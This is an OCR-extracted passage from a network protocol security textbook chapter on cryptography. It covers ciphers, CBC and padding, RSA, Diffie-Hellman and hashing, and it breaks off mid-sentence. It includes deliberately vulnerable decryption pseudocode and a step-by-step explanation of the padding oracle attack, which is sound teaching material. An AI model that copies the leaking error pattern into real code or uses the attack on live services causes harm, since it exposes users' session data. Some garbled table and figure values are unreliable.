http://developer.apple.com/mac/library/documentation/DeveloperTools/Conceptual/MachORuntime/Reference/reference.html
https://msdn.microsoft.com/en-us/library/windows/desktop/ms680547(v=vs.85).aspx

7
NETWORK PROTOCOL SECURITY

Network protocols transfer information between participants in a network,
and there’s a good chance that information is sensitive. Whether the
information includes credit card details or top secret information from
government systems, it’s important to provide security. Engineers consider
many requirements for security when they initially design a protocol, but
vulnerabilities often surface over time, especially when a protocol is used on
public networks where anyone monitoring traffic can attack it.

All secure protocols should do the following:

® Maintain data confidentiality by protecting data from being read
* Maintain data integrity by protecting data from being modified

* Prevent an attacker from impersonating the server by implementing server
authentication

* Prevent an attacker from impersonating the client by implementing client
authentication

In this chapter, I'll discuss ways in which these four requirements are met
in common network protocols, address potential weaknesses to look out for
when analyzing a protocol, and describe how these requirements are
implemented in a real-world secure protocol. I'll cover how to identify
which protocol encryption is in use or what flaws to look for in subsequent
chapters.

The field of cryptography includes two important techniques many
network protocols use, both of which protect data or a protocol in some way:
encryption provides data confidentiality, and signing provides data integrity
and authentication.

Secure network protocols heavily use encryption and signing, but
cryptography can be difficult to implement correctly: it’s common to find
implementation and design mistakes that lead to vulnerabilities that can
break a protocol’s security. When analyzing a protocol, you should have a
solid understanding of the technologies and algorithms involved so you can



spot and even exploit serious weaknesses. Let’s look at encryption first to see
how mistakes in the implementation can compromise the security of an
application.

Encryption Algorithms

The history of encryption goes back thousands of years, and as electronic
communications have become easier to monitor, encryption has become
considerably more important. Modern encryption algorithms often rely on
very complex mathematical models. However, just because a protocol uses
complex algorithms doesn’t mean it’s secure.

We usually refer to an encryption algorithm as a cipher or code depending
on how it’s structured. When discussing the encrypting operation, the
original, unencrypted message is referred to as plaintext. The output of the
encryption algorithm is an encrypted message called cipher text. The majority
of algorithms also need a key for encryption and decryption. The effort to
break or weaken an encryption algorithm is called cryptanalysis.

Many algorithms that were once thought to be secure have shown
numerous weaknesses and even backdoors. In part, this is due to the massive
increase in computing performance since the invention of such algorithms
(some of which date back to the 1970s), making feasible attacks that we once
thought possible only in theory.

If you want to break secure network protocols, you need to understand
some of the well-known cryptographic algorithms and where their
weaknesses lie. Encryption doesn’t have to involve complex mathematics.
Some algorithms are only used to obfuscate the structure of the protocol on
the network, such as strings or numbers. Of course, if an algorithm is simple,
its security is generally low. Once the mechanism of obfuscation is
discovered, it provides no real security.

Here I'll provide an overview some common encryption algorithms, but I
won’t cover the construction of these ciphers in depth because in protocol
analysis, we only need to understand the algorithm in use.

Substitution Ciphers

A substitution cipher is the simplest form of encryption. Substitution ciphers



use an algorithm to encrypt a value based on a substitution table that
contains one-to-one mapping between the plaintext and the corresponding
cipher text value, as shown in Figure 7-1. To decrypt the cipher text, the
process is reversed: the cipher value is looked up in a table (that has been
reversed), and the original plaintext value is reproduced. Figure 7-1 shows an
example substitution cipher.

Plaintext H E L L O

A=aQ,B=|,H=X

Substitution table E=Z L=P.O=B

R R

Cipher text X ¥ P P B

Figure 7-1: Substitution cipher encryption

In Figure 7-1, the substitution table (meant as just a simple example) has
six defined substitutions shown to the right. In a full substitution cipher,
many more substitutions would typically be defined. During encryption, the
first letter is chosen from the plaintext, and the plaintext letter’s substitution
is then looked up in the substitution table. Here, H in HELLO is replaced
with the letter X. This process continues until all the letters are encrypted.

Although substitution can provide adequate protection against casual
attacks, it fails to withstand cryptanalysis. Frequency analysis is commonly
used to crack substitution ciphers by correlating the frequency of symbols
found in the cipher text with those typically found in plaintext data sets. For
example, if the cipher protects a message written in English, frequency
analysis might determine the frequency of certain common letters,
punctuation, and numerals in a large body of written works. Because the
letter E is the most common in the English language, in all probability the
most frequent character in the enciphered message will represent E. By
following this process to its logical conclusion, it’s possible to build the
original substitution table and decipher the message.



XOR Encryption

The XOR encryption algorithm is a very simple technique for encrypting
and decrypting data. It works by applying the bitwise XOR operation
between a byte of plaintext and a byte of the key, which results in the cipher
text. For example, given the byte 0x48 and the key byte 0x82, the result of
XORing them would be 0xCA.

Because the XOR operation is symmetric, applying that same key byte to
the cipher text returns the original plaintext. Figure 7-2 shows the XOR
encryption operation with a single-byte key.

Plaintext | 48 | 0xé5 | oxéc | oxsc | oxsF

€ XOR operation

Fixed key 0Ox82

Cipher text OxCA | OxE7 | OxEE | OxEE | OxED

Figure 7-2: An XOR cipher operation with a single-byte key

Specifying a single-byte key makes the encryption algorithm very simple
and not very secure. It wouldn’t be difficult for an attacker to try all 256
possible values for the key to decrypt the cipher text into plaintext, and
increasing the size of the key wouldn’t help. As the XOR operation is
symmetric, the cipher text can be XORed with the known plaintext to
determine the key. Given enough known plaintext, the key could be
calculated and applied to the rest of the cipher text to decrypt the entire
message.

The only way to securely use XOR encryption is if the key is the same
size as the message and the values in the key are chosen completely at
random. "This approach is called one-time pad encryption and is quite difficult



to break. If an attacker knows even a small part of the plaintext, they won'’t
be able to determine the complete key. The only way to recover the key
would be to know the entire plaintext of the message; in that case, obviously,
the attacker wouldn’t need to recover the key.

Unfortunately, the one-time pad encryption algorithm has significant
problems and is rarely used in practice. One problem is that when using a
one-time pad, the size of the key material you send must be the same size as
any message to the sender and recipient. The only way a one time pad can be
secure is if every byte in the message is encrypted with a completely random
value. Also, you can never reuse a one-time pad key for different messages,
because if an attacker can decrypt your message one time, then they can
recover the key, and then subsequent messages encrypted with the same key
are compromised.

If XOR encryption is so inferior, why even mention it? Well, even
though it isn’t “secure,” developers still use it out of laziness because it’s easy
to implement. XOR encryption is also used as a primitive to build more
secure encryption algorithms, so it’s important to understand how it works.

Random Number Generators

Cryptographic systems heavily rely on good quality random numbers. In this
chapter, you’ll see them used as per-session keys, initialization vectors, and
the large primes p and ¢ for the RSA algorithm. However, getting truly
random data is difficult because computers are by nature deterministic: any
given program should produce the same output when given the same input
and state.

One way to generate relatively unpredictable data is by sampling physical
processes. For example, you could time a user’s key presses on the keyboard
or sample a source of electrical noise, such as the thermal noise in a resistor.
The trouble with these sorts of sources is they don’t provide much data—
perhaps only a few hundred bytes every second at best, which isn’t enough
for a general purpose cryptographic system. A simple 4096-bit RSA key
requires at least two random 256-byte numbers, which would take several
seconds to generate.

To make this sampled data go further, cryptographic libraries implement
pseudorandom number generators (PRNGs), which use an initial seed value and



generate a sequence of numbers that, in theory, shouldn’t be predictable
without knowledge of the internal state of the generator. The quality of
PRNGs varies wildly between libraries: the C library function rand(), for
instance, is completely useless for cryptographically secure protocols. A
common mistake is to use a weak algorithm to generate random numbers for
cryptographic uses.

Symmetric Key Cryptography

The only secure way to encrypt a message is to send a completely random
key that’s the same size as the message before the encryption can take place
as a one-time pad. Of course, we don’t want to deal with such large keys.
Fortunately, we can instead construct a symmetric key algorithm that uses
mathematical constructs to make a secure cipher. Because the key size is
considerably shorter than the message you want to send and doesn’t depend
on how much needs to be encrypted, it’s easier to distribute.

If the algorithm used has no obvious weakness, the limiting factor for
security is the key size. If the key is short, an attacker could brute-force the
key until they find the correct one.

There are two main types of symmetric ciphers: block and stream ciphers.
Each has its advantages and disadvantages, and choosing the wrong cipher to
use in a protocol can seriously impact the security of network
communications.

Block Ciphers

Many well-known symmetric key algorithms, such as the Advanced Encryption
Standard (AES) and the Data Encryption Standard (DES), encrypt and decrypt
a fixed number of bits (known as a block) every time the encryption algorithm
is applied. To encrypt or decrypt a message, the algorithm requires a key. If
the message is longer than the size of a block, it must be split into smaller
blocks and the algorithm applied to each in turn. Each application of the
algorithm uses the same key, as shown in Figure 7-3. Notice that the same
key is used for encryption and decryption.



Ox48 | Ox65 | Ox6C | Ox6C | Ox6F | Ox21 | Ox21 | Ox21

Plaintext block Y

Key

OxAF | Ox4D | OxBF | OxDD | OxES | OxCO | Ox47 | OxAS ————m=| Encrypt

OxF3 | Ox19 [ OxAD | Ox18 | Ox2D | 0x31 | Ox22 | Ox51

Cipher text block

OxF3 | Ox19 | OxAD | Ox18 | Ox2D | Ox31 | Ox22 | Ox51

Cipher text block

|  Decrypt

0x48 | Ox65 | Ox6C | Ox6C | Ox6F | 0x21 | Ox21 | Ox21

Plaintext block
Figure 7-3: Block cipher encryption

When a symmetric key algorithm is used for encryption, the plaintext
block is combined with the key as described by the algorithm, resulting in
the generation of the cipher text. If we then apply the decryption algorithm
combined with the key to the cipher text, we recover the original plaintext.

DES

Probably the oldest block cipher still used in modern applications is the
DES, which was originally developed by IBM (under the name Lucifer) and
was published as a Federal Information Processing Standard (FIPS) in 1979.
The algorithm uses a Feistel network to implement the encryption process. A
Feistel network, which is common in many block ciphers, operates by
repeatedly applying a function to the input for a number of rounds. The
function takes as input the value from the previous round (the original



plaintext) as well as a specific subkey that is derived from the original key
using a key-scheduling algorithm.

The DES algorithm uses a 64-bit block size and a 64-bit key. However,
DES requires that 8 bits of the key be used for error checking, so the
effective key is only 56 bits. The result is a very small key that is unsuitable
for modern applications, as was proven in 1998 by the Electronic Frontier
Foundation’s DES cracker—a hardware-key brute-force attacker that was
able to discover an unknown DES key in about 56 hours. At the time, the
custom hardware cost about $250,000; today’s cloud-based cracking tools
can crack a key in less than a day far more cheaply.

Triple DES

Rather than throwing away DES completely, cryptographers developed a
modified form that applies the algorithm three times. The algorithm in
Triple DES (TDES or 3DES) uses three separate DES keys, providing an
effective key size of 168 bits (although it can be proven that the security is
actually lower than the size would suggest). As shown in Figure 7-4, in
Triple DES, the DES encrypt function is first applied to the plaintext using
the first key. Next, the output is decrypted using the second key. Then the
output is encrypted again using the third key, resulting in the final cipher
text. The operations are reversed to perform decryption.

Ox48 | Ox65 | Ox6C | OxbC | Ox6F | 0x21 | Ox21 | Ox21

Plaintext block * *
DES l
enr.:ryp K 2
gy 2 ——am decrypt Key 3 DES t
enc
I I— ryp

OxF3 | Ox19 | OxAD | Ox18 | Ox2D | Ox31 | Ox22 | Ox51

Cipher text block
Figure 7-4: The Triple DES encryption process



AES

A far more modern encryption algorithm is AES, which is based on the
algorithm Rijndael. AES uses a fixed block size of 128 bits and can use three
different key lengths: 128, 192, and 256 bits; they are sometimes referred to
as AES128, AES192, and AES256, respectively. Rather than using a Feistel
network, AES uses a substitution-permutation network, which consists of two
main components: substitution boxes (S-Box) and permutation boxes (P-Box).
The two components are chained together to form a single round of the
algorithm. As with the Feistel network, this round can be applied multiple
times with different values of the S-Box and P-Box to produce the encrypted
output.

An S-Box is a basic mapping table not unlike a simple substitution cipher.
The S-Box takes an input, looks it up in a table, and produces output. As an
S-Box uses a large, distinct lookup table, it’s very helpful in identifying
particular algorithms. The distinct lookup table provides a very large
fingerprint, which can be discovered in application executables. I explained
this in more depth in Chapter 6 when I discussed techniques to find
unknown cryptographic algorithms by reverse engineering binaries.

Other Block Ciphers

DES and AES are the block ciphers that you’ll most commonly encounter,
but there are others, such as those listed in Table 7-1 (and still others in
commercial products).

Table 7-1: Common Block Cipher Algorithms

Cipher name Block size Keysize Year
(bits) (bits) introduced

Data Encryption Standard (DES) 64 56 1979
Blowfish 64 32-448 1993
Triple Data Encryption Standard 64 56,112, 1998
(TDES/3DES) 168
Serpent 128 128,192, 1998

256

Twaofich 178 178 192 199K
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256

Camellia 128 128,192, 2000
256

Advanced Encryption Standard 128 128,192, 2001

(AES) 256

The block and key size help you determine which cipher a protocol is

using based on the way the key is specified or how the encrypted data is
divided into blocks.

Block Cipher Modes

The algorithm of a block cipher defines how the cipher operates on blocks
of data. Alone, a block-cipher algorithm has some weaknesses, as you’ll soon
see. Therefore, in a real-world protocol, it is common to use the block
cipher in combination with another algorithm called a mzode of operation. The
mode provides additional security properties, such as making the output of
the encryption less predictable. Sometimes the mode also changes the
operation of the cipher by, for example, converting a block cipher into a
stream cipher (which I’ll explain in more detail in “Stream Ciphers” on page
158). Let’s take a look at some of the more common modes as well as their
security properties and weaknesses.

Electronic Code Book

The simplest and default mode of operation for block ciphers is Electronic
Code Book (ECB). In ECB, the encryption algorithm is applied to each fixed-
size block from the plaintext to generate a series of cipher text blocks. The
size of the block is defined by the algorithm in use. For example, if AES is
the cipher, each block in ECB mode must be 16 bytes in size. The plaintext
is divided into individual blocks, and the cipher algorithm applied. (Figure 7-
3 showed the ECB mode at work.)

Because each plaintext block is encrypted independently in ECB, it will
always encrypt to the same block of cipher text. As a consequence, ECB
doesn’t always hide large-scale structures in the plaintext, as in the bitmap
image shown in Figure 7-5. In addition, an attacker can corrupt or



manipulate the decrypted data in independent-block encryption by shuffling
around blocks of the cipher text before it is decrypted.

Hello—

Original image Encrypted image

Figure 7-5: ECB encryption of a bitmap image

Cipher Block Chaining

Another common mode of operation is Cipher Block Chaining (CBC), which is
more complex than ECB and avoids its pitfalls. In CBC, the encryption of a
single plaintext block depends on the encrypted value of the previous block.
The previous encrypted block is XORed with the current plaintext block,
and then the encryption algorithm is applied to this combined result. Figure
7-6 shows an example of CBC applied to two blocks.

At the top of Figure 7-6 are the original plaintext blocks. At the bottom is
the resulting cipher text generated by applying the block-cipher algorithm as
well as the CBC mode algorithm. Before each plaintext block is encrypted,
the plaintext is XORed with the previous encrypted block. After the blocks
have been XORed together, the encryption algorithm is applied. This
ensures that the output cipher text is dependent on the plaintext as well as
the previous encrypted blocks.



Ox48 | Oxé65 | Ox6C | Ox6C | Ox6F | Ox2C | Ox20 | Ox57

Plaintext block O

v +
0x25 | Ox39 | 0x29 | OxF7 | Ox06 | OxFA | OxCC | 0x40 —>€9 XOR operation
Key Y

OxAF | Ox4D | OxBF | OxDD | OxE5 | OxCO | Ox47 | OxAS6 |—#= Encrypt

Cipher text block 0 Y

— Ox6A | OxB5 | OxAO | Ox3A | OxE4 | OxFé6 | OxBA | Ox22

Ox6F | Ox72 | Ox6C | Ox64 | Ox21 | Ox21 | Ox21 | Ox21

Plaintext block 1
)

D

Encrypt

Cipher text block 1 Y

OxBF | OxCD | OxAC | OxPE | Ox4A | OxC4 | Ox3B | Ox02

Figure 7-6: The CBC mode of operation

Because the first block of plaintext has no previous cipher text block with
which to perform the XOR operation, you combine it with a manually
chosen or randomly generated block called an initialization vector (IV). If the
IV is randomly generated, it must be sent with the encrypted data, or the
receiver will not be able to decrypt the first block of the message. (Using a



fixed IV is an issue if the same key is used for all communications, because if
the same message is encrypted multiple times, it will always encrypt to the
same cipher text.)

To decrypt CBC, the encryption operations are performed in reverse:
decryption happens from the end of the message to the front, decrypting
each cipher text block with the key and at each step XORing the decrypted
block with the encrypted block that precedes it in the cipher text.

Alternative Modes

Other modes of operation for block ciphers are available, including those
that can convert a block cipher into a stream cipher, and special modes, such
as  Gualois Counter Mode (GCM), which provide data integrity and
confidentiality. Table 7-2 lists several common modes of operation and
indicates whether they generate a block or stream cipher (which I'll discuss
in the section “Stream Ciphers” on page 158). To describe each in detail
would be outside the scope of this book, but this table provides a rough
guide for further research.

Table 7-2: Common Block Cipher Modes of Operation

Mode name Abbreviation Mode type

Electronic Code Book ECB Block

Cipher Block Chaining CBC Block

Output Feedback OFB Stream

Cipher Feedback CFB Stream

Counter CIR Stream

Galois Counter Mode GCM Stream with data integrity

Block Cipher Padding

Block ciphers operate on a fixed-size message unit: a block. But what if you
want to encrypt a single byte of data and the block size is 16 bytes? This is
where padding schemes come into play. Padding schemes determine how to
handle the unused remainder of a block during encryption and decryption.



The simplest approach to padding is to pad the extra block space with a
specific known value, such as a repeating-zero byte. But when you decrypt
the block, how do you distinguish between padding bytes and meaningful
data? Some network protocols specify an explicit-length field, which you can
use to remove the padding, but you can’t always rely on this.

One padding scheme that solves this problem is defined in the Public Key
Cryptography Standard #7 (PKCS#7). In this scheme, all the padded bytes are
set to a value that represents how many padded bytes are present. For
example, if three bytes of padding are present, each byte is set to the value 3,
as shown in Figure 7-7.

5 bytes of data 3 bytes of padding

IHI Iel Ill Ill IDI
Ox48 | Ox65 | Ox6C | Ox6C | Ox6F

0x03 | Ox03 | Ox03

3 bytes of data 5 bytes of padding

| I

IAI IBI I':I
Ox41 | Ox42 | Ox43

0x05 | Ox05 | Ox05 | Ox05 | Ox05

Figure 7-7: Examples of PKCS#7 padding

What if you don’t need padding? For instance, what if the last block
you’re encrypting is already the correct length? If you simply encrypt the last
block and transmit it, the decryption algorithm will interpret legitimate data
as part of a padded block. To remove this ambiguity, the encryption
algorithm must send a final dummy block that only contains padding in
order to signal to the decryption algorithm that the last block can be

discarded.

When the padded block is decrypted, the decryption process can easily
verify the number of padding bytes present. The decryption process reads
the last byte in the block to determine the expected number of padding
bytes. For example, if the decryption process reads a value of 3, it knows that



three bytes of padding should be present. The decryption process then reads
the other two bytes of expected padding, verifying that each byte also has a
value of 3. If padding is incorrect, either because all the expected padding
bytes are not the same value or the padding value is out of range (the value
must be less than or equal to the size of a block and greater than 0), an error
occurs that could cause the decryption process to fail. The manner of failure
is a security consideration in itself.

Padding Oracle Attack

A serious security hole, known as the padding oracle attack, occurs when the
CBC mode of operation is combined with the PKCS#7 padding scheme.
The attack allows an attacker to decrypt data and in some cases encrypt their
own data (such as a session token) when sent via this protocol, even if they
don’t know the key. If an attacker can decrypt a session token, they might
recover sensitive information. But if they can encrypt the token, they might
be able to do something like circumvent access controls on a website.

For example, consider Listing 7-1, which decrypts data from the network
using a private DES key.

def decrypt_session_token(byte key[])
{
@ byte iv[] = read_bytes(8);

byte token[] = read_to_end();

® bool error = des_cbc_decrypt(key, iv, token);

if(error) {
© write_string("ERROR");
} else {
O write_string("SUCCESS");

}
}

Listing 7-1: A simple DES decryption from the network

The code reads the IV and the encrypted data from the network @ and
passes it to a DES CBC decryption routine using an internal application key

8. In this case, it decrypts a client session token. This use case is common in
web application frameworks, where the client is effectively stateless and must



send a token with each request to verify its identity.
The decryption function returns an error condition that signals whether
the decryption failed. If so, it sends the string error to the client ®; otherwise,

it sends the string success @. Consequently, this code provides an attacker
with information about the success or failure of decrypting an arbitrary
encrypted block from a client. In addition, if the code uses PKCS#7 for
padding and an error occurs (because the padding doesn’t match the correct
pattern in the last decrypted block), an attacker could use this information to
perform the padding oracle attack and then decrypt the block of data the
attacker sent to a vulnerable service.

This is the essence of the padding oracle attack: by paying attention to
whether the network service successfully decrypted the CBC-encrypted
block, the attacker can infer the block’s underlying unencrypted value. (The
term oracle refers to the fact that the attacker can ask the service a question
and receive a true or false answer. Specifically, in this case, the attacker can

ask whether the padding for the encrypted block they sent to the service is
valid.)

To better understand how the padding oracle attack works, let’s return to
how CBC decrypts a single block. Figure 7-8 shows the decryption of a
block of CBC-encrypted data. In this example, the plaintext is the string
Hello with three bytes of PKCS#7 padding after it.

By querying the web service, the attacker has direct control over the
original cipher text and the IV. Because each plaintext byte is XORed with
an IV byte during the final decryption step, the attacker can directly control
the plaintext output by changing the corresponding byte in the IV. In the
example shown in Figure 7-8, the last byte of the decrypted block is 0x2B,
which gets XORed with the IV byte 0x28 and outputs 0x03, a padding byte.
But if you change the last IV byte to OxFF, the last byte of the cipher text
decrypts to 0xD4, which is no longer a valid padding byte, and the
decryption service returns an error.



Cipher fext | Ox1E | Ox26 | Ox70 | Ox5F | Ox2A | Ox96 | Ox65 | Ox04

DES decrypt
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Figure 7-8: CBC decryption with IV

Now the attacker has everything they need to figure out the padding
value. They query the web service with dummy cipher texts, trying all
possible values for the last byte in the IV. Whenever the resulting decrypted
value is not equal to 0x01 (or by chance another valid padding arrangement),
the decryption returns an error. But once padding is valid, the decryption
will return success.

With this information, the attacker can determine the value of that byte
in the decrypted block, even though they don’t have the key. For example,
say the attacker sends the last IV byte as 0x2A. The decryption returns
success, which means the decrypted byte XORed with 0x2A should equal
0x01. Now the attacker can calculate the decrypted value by XORing 0x2A
with 0x01, yielding 0x2B; if the attacker XORs this value with the original
IV byte (0x28), the result is 0x03, the original padding value, as expected.

The next step in the attack is to use the IV to generate a value of 0x02 in
the lowest two bytes of the plaintext. In the same manner that the attacker
used brute force on the lowest byte earlier, now they can brute force the
second-to-lowest byte. Next, because the attacker knows the value of the



lowest byte, it’s possible to set it to 0x02 with the appropriate IV value.
Then, they can perform brute force on the second-to-lowest byte until the
decryption is successful, which means the second byte now equals 0x02 when
decrypted. By repeating this process until #// bytes have been calculated, an
attacker could use this technique to decrypt any block.

Stream Ciphers

Unlike block ciphers, which encrypt blocks of a message, stream ciphers
work at the individual bit level. The most common algorithm used for
stream ciphers generates a pseudorandom stream of bits, called the key
stream, from an initial key. This key stream is then arithmetically applied to
the message, typically using the XOR operation, to produce the cipher text,
as shown in Figure 7-9.

IHI IEI I1I I1I IDI
Ox48 | Ox65 | Ox6C | Ox6C | Ox6F

@ @ @ @ @ XOR operation

Key stream | Ox82 | OxCC | Ox19 | Oxa2 | OxF1

v v v ¥

Cipher text | OxCA | 0xA9 | Ox75 | OxCE | Ox9E

Plaintext

Figure 7-9: A stream cipher operation

As long as the arithmetic operation is reversible, all it takes to decrypt the
message is to generate the same key stream used for encryption and perform
the reverse arithmetic operation on the cipher text. (In the case of XOR, the
reverse operation is actually XOR.) The key stream can be generated using a
completely custom algorithm, such as in RC4, or by using a block cipher and
an accompanying mode of operation.

Table 7-3 lists some common algorithms that you might find in real-
world applications.

Table 7-3: Common Stream Ciphers




Cipher name Key size (bits) Year

introduced

A5/1 and A5/2 (used in GSM voice 54 or 64 1989
encryption)
RC4 Up to 2048 1993
Counter mode (CTR) Dependent on block N/A

cipher
Output Feedback mode (OFB) Dependent on block N/A

cipher
Cipher Feedback mode (CFB) Dependent on block N/A

cipher

Asymmetric Key Cryptography

Symmetric key cryptography strikes a good balance between security and
convenience, but it has a significant problem: participants in the network
need to physically exchange secret keys. This is tough to do when the
network spans multiple geographical regions. Fortunately, asymmetric key
cryptography (commonly called public key encryption) can mitigate this issue.

An asymmetric algorithm requires two types of keys: public and private.
The public key encrypts a message, and the private key decrypts it. Because
the public key cannot decrypt a message, it can be given to anyone, even over
a public network, without fear of its being captured by an attacker and used
to decrypt traffic, as shown in Figure 7-10.
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Figure 7-10: Asymmetric key encryption and decryption

Although the public and private keys are related mathematically,
asymmetric key algorithms are designed to make retrieving a private key
from a public key very time consuming; they’re built upon mathematical
primitives known as trapdoor functions. (I'he name is derived from the
concept that it’s easy to go through a trapdoor, but if it shuts behind you, it’s
difficult to go back.) These algorithms rely on the assumption that there is
no workaround for the time-intensive nature of the underlying mathematics.
However, future advances in mathematics or computing power might
disprove such assumptions.

RSA Algorithm

Surprisingly, not many unique asymmetric key algorithms are in common
use, especially compared to symmetric ones. The RSA algorithm is currently
the most widely used to secure network traffic and will be for the foreseeable
future. Although newer algorithms are based on mathematical constructs
called elliptic curves, they share many general principles with RSA.

The RSA algorithm, first published in 1977, is named after its original
developers—Ron Rivest, Adi Shamir, and Leonard Adleman. Its security



relies on the assumption that it’s difficult to factor large integers that are the
product of two prime numbers.

Figure 7-11 shows the RSA encryption and decryption process. To
generate a new key pair using RSA; you generate two large, random prime
numbers, p and ¢, and then choose a public exponent (e). (I’s common to use
the value 65537, because it has mathematical properties that help ensure the
security of the algorithm.) You must also calculate two other numbers: the
modulus (n), which is the product of p and ¢, and a private exponent (d), which
is used for decryption. (The process to generate 4 is rather complicated and
beyond the scope of this book.) The public exponent combined with the
modulus constitutes the public key, and the private exponent and modulus
form the private key.

For the private key to remain private, the private exponent must be kept
secret. And because the private exponent is generated from the original
primes, p and ¢, these two numbers must also be kept secret.

: H e b iy 'l o :
Plaintext | 6,48 | 0x65 | oxéC [ oxéc | oxsF | Cipher text (d] OxAABBCCDDEE .. .

Message (m) 0x48656C6CEF Decrypt
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Encrypt
m® mod n Message (m) 0x48656C6CEF
Cipher text (c] OxAABBCCDDEE Plaintext| - | e | L | L | o
P ox48 | 0x65 | oxéc | oxéc | oxeF

Figure 7-11: A simple example of RSA encryption and decryption

The first step in the encryption process is to convert the message to an
integer, typically by assuming the bytes of the message actually represent a
variable-length integer. This integer, 7, is raised to the power of the public



exponent. The modulo operation, using the value of the public modulus #, is

then applied to the raised integer 7°. The resulting cipher text is now a value
between zero and 7. (So if you have a 1024-bit key, you can only ever
encrypt a maximum of 1024 bits in a message.) To decrypt the message, you
apply the same process, substituting the public exponent for the private one.

RSA is very computationally expensive to perform, especially relative to
symmetric ciphers like AES. To mitigate this expense, very few applications
use RSA directly to encrypt a message. Instead, they generate a random
session key and use this key to encrypt the message with a symmetric cipher,
such as AES. Then, when the application wants to send a message to another
participant on the network, it encrypts only the session key using RSA and
sends the RSA-encrypted key along with the AES-encrypted message. The
recipient decrypts the message first by decrypting the session key, and then
uses the session key to decrypt the actual message. Combining RSA with a
symmetric cipher like AES provides the best of both worlds: fast encryption
with public key security.

RSA Padding

One weakness of this basic RSA algorithm is that it is deterministic: if you
encrypt the same message multiple times using the same public key, RSA
will always produce the same encrypted result. This allows an attacker to
mount what is known as a chosen plaintext attack in which the attacker has
access to the public key and can therefore encrypt any message. In the most
basic version of this attack, the attacker simply guesses the plaintext of an
encrypted message. They continue encrypting their guesses using the public
key, and if any of the encrypted guesses match the value of the original
encrypted message, they know they’ve successfully guessed the target
plaintext, meaning they’ve effectively decrypted the message without private
key access.

To counter chosen plaintext attacks, RSA uses a form of padding during
the encryption process that ensures the encrypted output is
nondeterministic. (This “padding” is different from the block cipher padding
discussed earlier. There, padding fills the plaintext to the next block
boundary so the encryption algorithm has a full block to work with.) Two
padding schemes are commonly used with RSA: one is specified in the

Public Key Cryptography Standard #1.5; the other is called Optimal



Asymmetric Encryption Padding (OAEP). OAEP is recommended for all new
applications, but both schemes provide enough security for typical use cases.
Be aware that not using padding with RSA is a serious security vulnerability.

Diffie-Hellman Key Exchange

RSA isn’t the only technique used to exchange keys between network
participants. Several algorithms are dedicated to that purpose; foremost
among them is the Diffie—Hellman Key Exchange (DH) algorithm.

The DH algorithm was developed by Whitfield Diffie and Martin
Hellman in 1976 and, like RSA, is built upon the mathematical primitives of
exponentiation and modular arithmetic. DH allows two participants in a
network to exchange keys and prevents anyone monitoring the network from
being able to determine what that key is. Figure 7-12 shows the operation of
the algorithm.
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Figure 7-12: The Diffie-Hellman Key Exchange algorithm

The participant initiating the exchange determines a parameter, which is
a large prime number, and sends it to the other participant: the chosen value
is not a secret and can be sent in the clear. Then each participant generates
their own private key value—usually using a cryptographically secure
random number generator—and computes a public key using this private
key and a selected group parameter that is requested by the client. The
public keys can safely be sent between the participants without the risk of
revealing the private keys. Finally, each participant calculates a shared key by
combining the other’s public key with their own private key. Both
participants now have the shared key without ever having directly exchanged



it.

DH isn’t perfect. For example, this basic version of the algorithm can’t
handle an attacker performing a man-in-the-middle attack against the key-
exchange. The attacker can impersonate the server on the network and
exchange one key with the client. Next, the attacker exchanges a different
key with the server, resulting in the attacker now having two separate keys
for the connection. Then the attacker can decrypt data from the client and
forward it on to the server, and vice versa.

Signature Algorithms

Encrypting a message prevents attackers from viewing the information being
sent over the network, but it doesn’t identify who sent it. Just because
someone has the encryption key doesn’t mean they are who they say they
are. With asymmetric encryption, you don’t even need to manually exchange
the key ahead of time, so anyone can encrypt data with your public key and
send it to you.

Signature algorithms solve this problem by generating a unique signature
for a message. The message recipient can use the same algorithm used to
generate the signature to prove the message came from the signer. As an
added advantage, adding a signature to a message protects it against
tampering if it’s being transmitted over an untrusted network. This is
important, because encrypting data does not provide any guarantee of data
integrity; that is, an encrypted message can still be modified by an attacker
with knowledge of the underlying network protocol.

All signature algorithms are built upon cryptographic hashing algorithms.
First, I’ll describe hashing in more detail, and then I'll explain some of the
most common signature algorithms.

Cryptographic Hashing Algorithms

Cryptographic hashing algorithms are functions that are applied to a
message to generate a fixed-length summary of that message, which is
usually much shorter than the original message. These algorithms are also
called message digest algorithms. The purpose of hashing in signature
algorithms is to generate a relatively unique value to verify the integrity of a



message and to reduce the amount of data that needs to be signed and
verified.

For a hashing algorithm to be suitable for cryptographic purposes, it has
to fulfill three requirements:

Pre-image resistance Given a hash value, it should be difficult (such as
by requiring a massive amount of computing power) to recover a
message.

Collision resistance It should be difficult to find two different messages
that hash to the same value.

Nonlinearity It should be difficult to create a message that hashes to any
given value.

A number of hashing algorithms are available, but the most common are
members of either the Message Digest (MD) or Secure Hashing Algorithm
(SHA) families. The Message Digest family includes the MD4 and MD5
algorithms, which were developed by Ron Rivest. The SHA family, which
contains the SHA-1 and SHA-2 algorithms, among others, is published by
NIST.

Other simple hashing algorithms, such as checksums and cyclic
redundancy checks (CRC), are useful for detecting changes in a set of data;
however, they are not very useful for secure protocols. An attacker can easily
change the checksum, as the linear behavior of these algorithms makes it
trivial to determine how the checksum changes, and this modification of the
data is protected so the target has no knowledge of the change.

Asymmetric Signature Algorithms

Asymmetric signature algorithms wuse the properties of asymmetric
cryptography to generate a message signature. Some algorithms, such as
RSA, can be used to provide the signature and the encryption, whereas
others, such as the Digital Signature Algorithm (DSA), are designed for
signatures only. In both cases, the message to be signed is hashed, and a
signature is generated from that hash.

Earlier you saw how RSA can be used for encryption, but how can it be
used to sign a message? The RSA signature algorithm relies on the fact that



it’s possible to encrypt a message using the private key and decrypt it with
the public one. Although this “encryption” is no longer secure (the key to
decrypt the message is now public), it can be used to sign a message.

For example, the signer hashes the message and applies the RSA
decryption process to the hash using their private key; this encrypted hash is
the signature. The recipient of the message can convert the signature using
the signer’s public key to get the original hash value and compare it against
their own hash of the message. If the two hashes match, the sender must
have used the correct private key to encrypt the hash; if the recipient trusts
that the only person with the private key is the signer, the signature is
verified. Figure 7-13 shows this process.

Message
| [
I
Message hash —Verify — Message hash
l Private key Public key T
RSA RSA
encrypt decrypt
()

T

Y

RSA signature

Figure 7-13: RSA signature processing

Message Authentication Codes

Unlike RSA, which is an asymmetric algorithm, Message Authentication Codes
(MACs) are symmetric signature algorithms. As with symmetric encryption,
symmetric signature algorithms rely on sharing a key between the sender
and recipient.

For example, say you want to send me a signed message and we both have
access to a shared key. First, you’d combine the message with the key in
some way. (I'll discuss how to do this in more detail in a moment.) Then
you’d hash the combination to produce a value that couldn’t easily be



reproduced without the original message and the shared key. When you sent
